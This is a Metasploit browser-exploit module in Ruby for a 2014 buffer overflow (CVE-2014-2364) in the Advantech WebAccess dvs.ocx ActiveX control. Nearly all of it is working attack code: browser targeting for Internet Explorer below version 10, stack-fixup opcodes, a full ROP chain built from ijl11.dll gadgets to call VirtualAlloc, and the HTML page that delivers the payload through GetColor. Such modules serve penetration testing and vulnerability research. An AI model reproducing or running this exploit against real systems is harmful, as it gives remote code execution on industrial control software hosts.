163 lines
No EOL
6.2 KiB
Ruby
Executable file
163 lines
No EOL
6.2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow vulnerability in Advantec WebAccess. The
|
|
vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to
|
|
sprintf can be reached with user controlled data through the GetColor function.
|
|
This module has been tested successfully on Windows XP SP3 with IE6 and Windows
|
|
7 SP1 with IE8 and IE 9.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-2364'],
|
|
['ZDI', '14-255'],
|
|
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'Retries' => false,
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'BrowserRequirements' =>
|
|
{
|
|
:source => /script|headers/i,
|
|
:os_name => Msf::OperatingSystems::WINDOWS,
|
|
:ua_name => /MSIE/i,
|
|
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
|
|
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
|
|
:method => "GetColor"
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'DisableNops' => true,
|
|
'BadChars' => "\x00\x0a\x0d\x5c",
|
|
# Patch the stack to execute the decoder...
|
|
'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100
|
|
# Fix the stack again, this time better :), before the payload
|
|
# is executed.
|
|
'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
|
|
"\x83\xC0\x08" + # add eax, byte 8
|
|
"\x8b\x20" + # mov esp, [eax]
|
|
"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 17 2014'))
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
print_status("Requested: #{request.uri}")
|
|
|
|
content = <<-EOS
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="cache-control" content="max-age=0" />
|
|
<meta http-equiv="cache-control" content="no-cache" />
|
|
<meta http-equiv="expires" content="0" />
|
|
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
|
|
<meta http-equiv="pragma" content="no-cache" />
|
|
</head>
|
|
<body>
|
|
<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object>
|
|
<script language='javascript'>
|
|
test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("Sending #{self.name}")
|
|
send_response_html(cli, content, {'Pragma' => 'no-cache'})
|
|
end
|
|
|
|
# Uses gadgets from ijl11.dll 1.1.2.16
|
|
def rop_payload(code)
|
|
xpl = rand_text_alphanumeric(61) # offset
|
|
xpl << [0x60014185].pack("V") # RET
|
|
xpl << rand_text_alphanumeric(8)
|
|
|
|
# EBX = dwSize (0x40)
|
|
xpl << [0x60012288].pack("V") # POP ECX # RETN
|
|
xpl << [0xffffffff].pack("V") # ecx value
|
|
xpl << [0x6002157e].pack("V") # POP EAX # RETN
|
|
xpl << [0x9ffdafc9].pack("V") # eax value
|
|
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
|
|
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
|
|
xpl << [0x60018084].pack("V") # POP EBP # RETN
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
|
|
xpl << [0x60012288].pack("V") # POP ECX # RETN
|
|
xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)
|
|
xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
|
|
# EDX = flAllocationType (0x1000)
|
|
xpl << [0x60012288].pack("V") # POP ECX # RETN
|
|
xpl << [0xffffffff].pack("V") # ecx value
|
|
xpl << [0x6002157e].pack("V") # POP EAX # RETN
|
|
xpl << [0x9ffdbf89].pack("V") # eax value
|
|
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
|
|
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
|
|
# ECX = flProtect (0x40)
|
|
xpl << [0x6002157e].pack("V") # POP EAX # RETN
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << rand_text_alphanumeric(4) # padding
|
|
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
|
|
xpl << [0x60012288].pack("V") # POP ECX # RETN
|
|
xpl << [0xffffffff].pack("V") # ecx value
|
|
0x41.times do
|
|
xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN
|
|
end
|
|
# EAX = ptr to &VirtualAlloc()
|
|
xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll]
|
|
xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll]
|
|
# EBP = POP (skip 4 bytes)
|
|
xpl << [0x6002054b].pack("V") # POP EBP # RETN
|
|
xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn)
|
|
# ESI = ptr to JMP [EAX]
|
|
xpl << [0x600181cc].pack("V") # POP ESI # RETN
|
|
xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax])
|
|
# EDI = ROP NOP (RETN)
|
|
xpl << [0x60021ad1].pack("V") # POP EDI # RETN
|
|
xpl << [0x60021ad2].pack("V") # ptr to &(retn)
|
|
# ESP = lpAddress (automatic)
|
|
# PUSHAD # RETN
|
|
xpl << [0x60018399].pack("V") # PUSHAD # RETN
|
|
xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn)
|
|
xpl << code
|
|
|
|
xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string
|
|
xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping
|
|
|
|
xpl
|
|
end
|
|
|
|
end |